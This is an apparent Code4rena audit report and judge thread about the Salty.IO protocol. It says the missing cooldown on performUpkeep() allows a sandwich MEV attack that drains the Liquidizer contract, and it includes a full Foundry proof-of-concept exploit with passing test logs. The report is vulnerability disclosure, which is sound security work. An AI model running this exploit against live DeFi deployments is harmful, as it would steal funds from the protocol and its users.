MEV attack due to lack of upkeep cooldown

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/Upkeep.sol#L244

Vulnerability details

Impact

The Liquidizer contract has limited a max of 1% pool size for buying back USDS, which reduces impact on instant price drift, But the upkeep.performUpkeep() function has no cool down, attackers can repeatedly call upkeep to spend all WBTC and WETH of Liquidizer contract in a same transaction. By doing this, a sandwich MEV attack to drain free fund from the protocol become available.

Proof of Concept

The following coded PoC shows a realistic case that drains 0.145 WBTC and 1.46 WETH from the protocol by this attack vector.

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../../dev/Deployment.sol";
import "../../price_feed/tests/ForcedPriceFeed.sol";
import "forge-std/Test.sol";

contract TestMEVAttack is Deployment {
    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    bytes32 public collateralPoolID;

    constructor() {
        grantAccessAlice();
        grantAccessBob();
        grantAccessDeployer();
        grantAccessDefault();

        finalizeBootstrap();

        vm.prank(address(daoVestingWallet));
        salt.transfer(DEPLOYER, 1000000 ether);

        collateralPoolID = PoolUtils._poolID(wbtc, weth);

        // Mint some USDS to the DEPLOYER
        vm.prank(address(collateralAndLiquidity));
        usds.mintTo(DEPLOYER, 10_000_000 ether);
    }

    function setUp() public {
        vm.startPrank(DEPLOYER);
        // 1. Add some base liqudities for liqudizer to buy back USDS
        uint256 addedWBTC = 10 * 10 ** 8;
        uint256 addedWETH = 200 ether;
        uint256 addedUSDS = 200_000 ether;
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        usds.approve(address(collateralAndLiquidity), type(uint256).max);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            addedWBTC,
            addedWETH,
            0,
            block.timestamp,
            true
        );
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            wbtc,
            usds,
            addedWBTC,
            addedUSDS,
            0,
            block.timestamp,
            true
        );
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            weth,
            usds,
            addedWETH,
            addedUSDS,
            0,
            block.timestamp,
            true
        );

        // 2. Give some funds
        wbtc.transfer(alice, 1 * 10 ** 8);
        wbtc.transfer(bob, 1 * 10 ** 8);
        weth.transfer(alice, 20 ether);
        weth.transfer(bob, 20 ether);
        vm.stopPrank();
    }

    function testMEVAttack() public {
        // 1. Alice will deposit collateral and borrow max USDS
        vm.startPrank(DEPLOYER);
        forcedPriceFeed.setBTCPrice(40_000 ether); // 40K$/BTC
        forcedPriceFeed.setETHPrice(2_000 ether); // 2K$/ETH
        vm.stopPrank();
        vm.startPrank(alice);
        uint256 depositedWBTC = 1 * 10 ** 8;
        uint256 depositedWETH = 20 ether;
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            depositedWBTC,
            depositedWETH,
            0,
            block.timestamp,
            true
        );
        uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        assertEq(40_000 ether, maxUSDS);
        collateralAndLiquidity.borrowUSDS(maxUSDS);
        vm.stopPrank();

        // 2. price decreases
        vm.startPrank(DEPLOYER);
        forcedPriceFeed.setBTCPrice((forcedPriceFeed.getPriceBTC() * 54) / 100);
        forcedPriceFeed.setETHPrice((forcedPriceFeed.getPriceETH() * 54) / 100);
        vm.stopPrank();

        // 3. liquidate alice
        vm.warp(block.timestamp + 1 hours); // Delay before the liquidation
        collateralAndLiquidity.liquidateUser(alice);

        // 4. now, Liquidizer has significant WBTC and WETH
        uint256 wbtcBalance = wbtc.balanceOf(address(liquidizer));
        uint256 wethBalance = weth.balanceOf(address(liquidizer));
        assertApproxEqAbs(wbtcBalance, 0.988 * 10 ** 8, 0.001 * 10 ** 8);
        assertApproxEqAbs(wethBalance, 19.7 ether, 0.1 ether);

        // 5. Though, Liquidizer has limited a max of 1% pool size (0.1 WBTC/2 WETH in this case)
        //    to be used for buying back USDS, but due to lack of constrain on multiple calling
        //    "upkeep.performUpkeep()" in same transaction, attackers can repeatedly call upkeep 
        //    to spend all WBTC and WETH immediately. By doing this, a sandwich MEV attack to
        //    drain free fund from the protocol become available.
        vm.startPrank(bob);
        wbtcBalance = wbtc.balanceOf(address(bob)); 
        wethBalance = weth.balanceOf(address(bob));
        wbtc.approve(address(pools), type(uint256).max);
        weth.approve(address(pools), type(uint256).max);
        pools.depositSwapWithdraw(wbtc, usds, 1 * 10 ** 8, 0, block.timestamp);
        pools.depositSwapWithdraw(weth, usds, 20 ether, 0, block.timestamp);
        for (uint256 i; i < 10; ++i) {
            upkeep.performUpkeep();
        }
        uint256 usdsBalance = usds.balanceOf(bob);
        usds.approve(address(pools), type(uint256).max);
        pools.depositSwapWithdraw(usds, wbtc, usdsBalance / 2, 0, block.timestamp);
        pools.depositSwapWithdraw(usds, weth, usdsBalance / 2, 0, block.timestamp);
        uint256 wbtcProfit = wbtc.balanceOf(address(bob)) - wbtcBalance; 
        uint256 wethProfit = weth.balanceOf(address(bob)) - wethBalance;
        console2.log("WBTC Profit:", wbtcProfit); // 0.145 WBTC
        console2.log("WETH Profit:", wethProfit); // 1.46 WETH
        vm.stopPrank();
    }
}

And test logs:

2024-01-salty> forge test --match-contract TestMEVAttack -vv --rpc-url https://rpc.sepolia.org/
[⠔] Compiling...
[⠢] Compiling 1 files with 0.8.22Compiler run successful!
[⠆] Compiling 1 files with 0.8.22
[⠰] Solc 0.8.22 finished in 13.73s

Running 1 test for src/stable/tests/MEVAttack.t.sol:TestMEVAttack
[PASS] testMEVAttack() (gas: 4768813)
Logs:
  WBTC Profit: 14502827
  WETH Profit: 1464756782120705632

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 173.59s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manually review

Recommended Mitigation Steps

Add a cool down for upkeep.performUpkeep()

Assessed type

MEV

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) acknowledged

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to QA (Quality Assurance)

[Picodes]

I'll downgrade to Low as although this report is valid it doesn't discuss the fact that there is still an attempt to perform an arbitrage after each swap, which should in theory be sufficient to prevent the creation of a too large MEV opportunity. So the limitation is working as expected here.

[c4-judge]

Picodes marked the issue as grade-b